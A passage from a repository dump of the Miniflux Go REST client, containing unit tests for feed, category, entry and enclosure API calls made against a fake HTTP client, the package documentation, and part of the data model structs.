NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/categories/1/mark-all-as-read\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.MarkCategoryAsReadContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestCategoryFeeds(t *testing.T) {\n\texpected := Feeds{\n\t\t{\n\t\t\tID:    1,\n\t\t\tTitle: \"Example\",\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/categories/1/feeds\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CategoryFeedsContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestDeleteCategory(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodDelete, \"http://mf/v1/categories/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.DeleteCategoryContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestRefreshCategory(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/categories/1/refresh\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.RefreshCategoryContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestFeeds(t *testing.T) {\n\texpected := Feeds{\n\t\t{\n\t\t\tID:                          1,\n\t\t\tTitle:                       \"Example\",\n\t\t\tFeedURL:                     \"http://example.com\",\n\t\t\tSiteURL:                     \"http://example.com\",\n\t\t\tCheckedAt:                   time.Date(1970, 1, 1, 0, 7, 0, 0, time.UTC),\n\t\t\tDisabled:                    false,\n\t\t\tIgnoreHTTPCache:             false,\n\t\t\tAllowSelfSignedCertificates: false,\n\t\t\tFetchViaProxy:               false,\n\t\t\tScraperRules:                \"\",\n\t\t\tRewriteRules:                \"\",\n\t\t\tUrlRewriteRules:             \"\",\n\t\t\tBlocklistRules:              \"\",\n\t\t\tKeeplistRules:               \"\",\n\t\t\tBlockFilterEntryRules:       \"\",\n\t\t\tKeepFilterEntryRules:        \"\",\n\t\t\tCrawler:                     false,\n\t\t\tUserAgent:                   \"\",\n\t\t\tCookie:                      \"\",\n\t\t\tUsername:                    \"\",\n\t\t\tPassword:                    \"\",\n\t\t\tCategory: &Category{\n\t\t\t\tID:    1,\n\t\t\t\tTitle: \"Example\",\n\t\t\t},\n\t\t\tHideGlobally: false,\n\t\t\tDisableHTTP2: false,\n\t\t\tProxyURL:     \"\",\n\t\t},\n\t\t{\n\t\t\tID:    2,\n\t\t\tTitle: \"Example 2\",\n\t\t},\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/feeds\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.FeedsContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestExport(t *testing.T) {\n\texpected := []byte(\"hello\")\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/export\", nil, req)\n\t\t\t\treturn &http.Response{\n\t\t\t\t\tStatusCode: http.StatusOK,\n\t\t\t\t\tBody:       io.NopCloser(bytes.NewBufferString(string(expected))),\n\t\t\t\t\tHeader:     http.Header{},\n\t\t\t\t}\n\t\t\t})))\n\tres, err := client.ExportContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %+v, got %+v\", expected, res)\n\t}\n}\n\nfunc TestImport(t *testing.T) {\n\texpected := []byte(\"hello\")\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(\n\t\t\t\t\tt,\n\t\t\t\t\thttp.MethodPost,\n\t\t\t\t\t\"http://mf/v1/import\",\n\t\t\t\t\tfunc(r io.Reader) {\n\t\t\t\t\t\tb, err := io.ReadAll(r)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif !bytes.Equal(b, expected) {\n\t\t\t\t\t\t\tt.Fatalf(\"expected %+v, got %+v\", expected, b)\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\treq)\n\t\t\t\treturn &http.Response{\n\t\t\t\t\tStatusCode: http.StatusOK,\n\t\t\t\t\tHeader:     http.Header{},\n\t\t\t\t}\n\t\t\t})))\n\tif err := client.ImportContext(t.Context(), io.NopCloser(bytes.NewBufferString(string(expected)))); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestFeed(t *testing.T) {\n\texpected := &Feed{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/feeds/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.FeedContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestCreateFeed(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPost, \"http://mf/v1/feeds\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, struct {\n\t\t\t\t\tFeedID int64 `json:\"feed_id\"`\n\t\t\t\t}{\n\t\t\t\t\tFeedID: 1,\n\t\t\t\t})\n\t\t\t})))\n\tid, err := client.CreateFeedContext(t.Context(), &FeedCreationRequest{\n\t\tFeedURL: \"http://example.com\",\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\n\tif id != 1 {\n\t\tt.Fatalf(\"Expected feed ID to be 1, got %d\", id)\n\t}\n}\n\nfunc TestUpdateFeed(t *testing.T) {\n\texpected := &Feed{\n\t\tID:      1,\n\t\tFeedURL: \"http://example.com/\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/feeds/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UpdateFeedContext(t.Context(), 1, &FeedModificationRequest{\n\t\tFeedURL: &expected.FeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestMarkFeedAsRead(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/feeds/1/mark-all-as-read\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.MarkFeedAsReadContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestRefreshAllFeeds(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/feeds/refresh\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.RefreshAllFeedsContext(t.Context()); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestRefreshFeed(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/feeds/1/refresh\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.RefreshFeedContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestDeleteFeed(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodDelete, \"http://mf/v1/feeds/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.DeleteFeedContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestFeedIcon(t *testing.T) {\n\texpected := &FeedIcon{\n\t\tID:       1,\n\t\tMimeType: \"text/plain\",\n\t\tData:     \"data\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/feeds/1/icon\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.FeedIconContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestFeedEntry(t *testing.T) {\n\texpected := &Entry{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/feeds/1/entries/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.FeedEntryContext(t.Context(), 1, 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestCategoryEntry(t *testing.T) {\n\texpected := &Entry{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/categories/1/entries/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CategoryEntryContext(t.Context(), 1, 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestEntry(t *testing.T) {\n\texpected := &Entry{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/entries/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.EntryContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestEntries(t *testing.T) {\n\texpected := &EntryResultSet{\n\t\tTotal: 1,\n\t\tEntries: Entries{\n\t\t\t{\n\t\t\t\tID:    1,\n\t\t\t\tTitle: \"Example\",\n\t\t\t},\n\t\t},\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/entries\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.EntriesContext(t.Context(), nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestFeedEntries(t *testing.T) {\n\texpected := &EntryResultSet{\n\t\tTotal: 1,\n\t\tEntries: Entries{\n\t\t\t{\n\t\t\t\tID:    1,\n\t\t\t\tTitle: \"Example\",\n\t\t\t},\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/feeds/1/entries?limit=10&offset=0\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.FeedEntriesContext(t.Context(), 1, &Filter{\n\t\tLimit: 10,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestCategoryEntries(t *testing.T) {\n\texpected := &EntryResultSet{\n\t\tTotal: 1,\n\t\tEntries: Entries{\n\t\t\t{\n\t\t\t\tID:    1,\n\t\t\t\tTitle: \"Example\",\n\t\t\t},\n\t\t},\n\t}\n\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/categories/1/entries?limit=10&offset=0\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.CategoryEntriesContext(t.Context(), 1, &Filter{\n\t\tLimit: 10,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestUpdateEntries(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/entries\", nil, req)\n\t\t\t\texpectFromJSON(t, req.Body, &struct {\n\t\t\t\t\tEntryIDs []int64 `json:\"entry_ids\"`\n\t\t\t\t\tStatus   string  `json:\"status\"`\n\t\t\t\t}{\n\t\t\t\t\tEntryIDs: []int64{1, 2},\n\t\t\t\t\tStatus:   \"read\",\n\t\t\t\t})\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.UpdateEntriesContext(t.Context(), []int64{1, 2}, \"read\"); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestUpdateEntry(t *testing.T) {\n\texpected := &Entry{\n\t\tID:    1,\n\t\tTitle: \"Example\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/entries/1\", nil, req)\n\t\t\t\texpectFromJSON(t, req.Body, &EntryModificationRequest{\n\t\t\t\t\tTitle: &expected.Title,\n\t\t\t\t})\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.UpdateEntryContext(t.Context(), 1, &EntryModificationRequest{\n\t\tTitle: &expected.Title,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestToggleStarred(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/entries/1/star\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.ToggleStarredContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestSaveEntry(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPost, \"http://mf/v1/entries/1/save\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.SaveEntryContext(t.Context(), 1); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestFetchEntryOriginalContent(t *testing.T) {\n\texpected := \"Example\"\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/entries/1/fetch-content\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, struct {\n\t\t\t\t\tContent string `json:\"content\"`\n\t\t\t\t}{\n\t\t\t\t\tContent: expected,\n\t\t\t\t})\n\t\t\t})))\n\tres, err := client.FetchEntryOriginalContentContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif res != expected {\n\t\tt.Fatalf(\"Expected %s, got %s\", expected, res)\n\t}\n}\n\nfunc TestFetchCounters(t *testing.T) {\n\texpected := &FeedCounters{\n\t\tReadCounters: map[int64]int{\n\t\t\t2: 1,\n\t\t},\n\t\tUnreadCounters: map[int64]int{\n\t\t\t3: 1,\n\t\t},\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/feeds/counters\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.FetchCountersContext(t.Context())\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestFlushHistory(t *testing.T) {\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/flush-history\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, nil)\n\t\t\t})))\n\tif err := client.FlushHistoryContext(t.Context()); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n\nfunc TestIcon(t *testing.T) {\n\texpected := &FeedIcon{\n\t\tID:       1,\n\t\tMimeType: \"text/plain\",\n\t\tData:     \"data\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/icons/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.IconContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestEnclosure(t *testing.T) {\n\texpected := &Enclosure{\n\t\tID:       1,\n\t\tURL:      \"http://example.com\",\n\t\tMimeType: \"text/plain\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodGet, \"http://mf/v1/enclosures/1\", nil, req)\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tres, err := client.EnclosureContext(t.Context(), 1)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tif !reflect.DeepEqual(res, expected) {\n\t\tt.Fatalf(\"Expected %s, got %s\", asJSON(expected), asJSON(res))\n\t}\n}\n\nfunc TestUpdateEnclosure(t *testing.T) {\n\texpected := &Enclosure{\n\t\tID:       1,\n\t\tURL:      \"http://example.com\",\n\t\tMimeType: \"text/plain\",\n\t}\n\tclient := NewClientWithOptions(\n\t\t\"http://mf\",\n\t\tWithHTTPClient(\n\t\t\tnewFakeHTTPClient(t, func(t *testing.T, req *http.Request) *http.Response {\n\t\t\t\texpectRequest(t, http.MethodPut, \"http://mf/v1/enclosures/1\", nil, req)\n\t\t\t\texpectFromJSON(t, req.Body, &EnclosureUpdateRequest{\n\t\t\t\t\tMediaProgression: 10,\n\t\t\t\t})\n\t\t\t\treturn jsonResponseFrom(t, http.StatusOK, http.Header{}, expected)\n\t\t\t})))\n\tif err := client.UpdateEnclosureContext(t.Context(), 1, &EnclosureUpdateRequest{\n\t\tMediaProgression: 10,\n\t}); err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n}\n"
  },
  {
    "path": "client/doc.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n/*\nPackage client implements a client library for the Miniflux REST API.\n\n# Examples\n\nThis example fetches the list of users:\n\n\timport (\n\t\tminiflux \"miniflux.app/v2/client\"\n\t)\n\n\tclient := miniflux.NewClient(\"https://api.example.org\", \"admin\", \"secret\")\n\tusers, err := client.Users()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tfmt.Println(users, err)\n\nThis example discovers subscriptions on a website:\n\n\tsubscriptions, err := client.Discover(\"https://example.org/\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tfmt.Println(subscriptions)\n*/\npackage client // import \"miniflux.app/v2/client\"\n"
  },
  {
    "path": "client/model.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client // import \"miniflux.app/v2/client\"\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\n// Entry statuses.\nconst (\n\tEntryStatusUnread  = \"unread\"\n\tEntryStatusRead    = \"read\"\n\tEntryStatusRemoved = \"removed\"\n)\n\n// User represents a user in the system.\ntype User struct {\n\tID                        int64      `json:\"id\"`\n\tUsername                  string     `json:\"username\"`\n\tPassword                  string     `json:\"password,omitempty\"`\n\tIsAdmin                   bool       `json:\"is_admin\"`\n\tTheme                     string     `json:\"theme\"`\n\tLanguage                  string     `json:\"language\"`\n\tTimezone                  string     `json:\"timezone\"`\n\tEntryDirection            string     `json:\"entry_sorting_direction\"`\n\tEntryOrder                string     `json:\"entry_sorting_order\"`\n\tStylesheet                string     `json:\"stylesheet\"`\n\tCustomJS                  string     `json:\"custom_js\"`\n\tGoogleID                  string     `json:\"google_id\"`\n\tOpenIDConnectID           string     `json:\"openid_connect_id\"`\n\tEntriesPerPage            int        `json:\"entries_per_page\"`\n\tKeyboardShortcuts         bool       `json:\"keyboard_shortcuts\"`\n\tShowReadingTime           bool       `json:\"show_reading_time\"`\n\tEntrySwipe                bool       `json:\"entry_swipe\"`\n\tGestureNav                string     `json:\"gesture_nav\"`\n\tLastLoginAt               *time.Time `json:\"last_login_at\"`\n\tDisplayMode               string     `json:\"display_mode\"`\n\tDefaultReadingSpeed       int        `json:\"default_reading_speed\"`\n\tCJKReadingSpeed           int        `json:\"cjk_reading_speed\"`\n\tDefaultHomePage           string     `json:\"default_home_page\"`\n\tCategoriesSortingOrder    string     `json:\"categories_sorting_order\"`\n\tMarkReadOnView            bool       `json:\"mark_read_on_view\"`\n\tMediaPlaybackRate         float64    `json:\"media_playback_rate\"`\n\tBlockFilterEntryRules     string     `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules      string     `json:\"keep_filter_entry_rules\"`\n\tExternalFontHosts         string     `json:\"external_font_hosts\"`\n\tAlwaysOpenExternalLinks   bool       `json:\"always_open_external_links\"`\n\tOpenExternalLinksInNewTab bool       `json:\"open_external_links_in_new_tab\"`\n}\n\nfunc (u User) String() string {\n\treturn fmt.Sprintf(\"#%d - %s (admin=%v)\", u.ID, u.Username, u.IsAdmin)\n}\n\n// UserCreationRequest represents the request to create a user.\ntype UserCreationRequest struct {\n\tUsername        string `json:\"username\"`\n\tPassword        string `json:\"password\"`\n\tIsAdmin         bool   `json:\"is_admin\"`\n\tGoogleID        string `json:\"google_id\"`\n\tOpenIDConnectID string `json:\"openid_connect_id\"`\n}\n\n// UserModificationRequest represents the request to update a user.\ntype UserModificationRequest struct {\n\tUsername                  *string  `json:\"username\"`\n\tPassword                  *string  `json:\"password\"`\n\tIsAdmin                   *bool    `json:\"is_admin\"`\n\tTheme                     *string  `json:\"theme\"`\n\tLanguage                  *string  `json:\"language\"`\n\tTimezone                  *string  `json:\"timezone\"`\n\tEntryDirection            *string  `json:\"entry_sorting_direction\"`\n\tEntryOrder                *string  `json:\"entry_sorting_order\"`\n\tStylesheet                *string  `json:\"stylesheet\"`\n\tCustomJS                  *string  `json:\"custom_js\"`\n\tGoogleID                  *string  